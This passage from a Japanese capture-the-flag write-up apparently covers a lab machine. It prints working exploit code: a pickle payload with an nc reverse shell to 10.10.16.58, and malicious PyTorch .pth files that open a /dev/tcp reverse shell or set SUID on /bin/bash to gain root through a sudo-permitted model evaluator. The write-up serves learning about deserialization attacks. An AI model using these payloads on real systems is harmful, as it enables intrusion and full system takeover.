```
class Pickle:
    def __reduce__(self):
        cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"
        return os.system, (cmd,)
```
ここですね。
そしておなじみの``` "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.58 9001 >/tmp/f"```があります。

ncでリバースシェルを待ち受けると:rolling_eyes:

![intrude9001.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/feb84e18-44f1-30b0-5972-93f95775f433.png)

侵入することが出来ました:ok_hand_tone2:

### 権限昇格

sudo -l　の実行結果

![sudo -l.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/18071085-18ac-12a1-e02d-32592f85f6d8.png)

```/usr/bin/evaluate_model /models/*.pth```が実行できることを確認しました。
```*.pth```これは、(；ﾟДﾟ)。。。
pthを作りなさいという暗示ではҨ ( º_º )
つまりpthファイルを読み込ませて権限昇格しなさいということ:thinking:

先ほどの基本形を書き換えると
```bash
import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'",))

evil = Payload()
torch.save(evil, 'evil.pth')
```

これをcreate-pth-2として保存します。おなじみの```"/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.58/4444 0>&1'"```ですね。
ncでリバースシェルを待ち受けて、生成された```evil.pthを/usr/bin/evaluate_model```で実行すると

![execute create-pth-2.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/4c8c60aa-76e6-9c92-7caa-ca7fd61bf3ce.png)
rootになれました:v_tone2:

もう一つ改竄したコードも試します。
```bash
import torch
import os

class Payload:
    def __reduce__(self):
        return (os.system, ("chmod u+s /bin/bash",))

evil = Payload()
torch.save(evil, 'evil-2.pth')
```
今度は侵入先のbashにSUIDを付加します。
これをcreate-pth-3として保存します。そしてpython3で実行してevil-2.pthの生成。
evil-2.pthを```/usr/bin/evaluate_model```で実行してからの```bash -p```→rootになれました。:v_tone2:![execute create-pth-3.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3894629/4f2bfd57-4b07-cbc1-cf98-2237162136a9.png)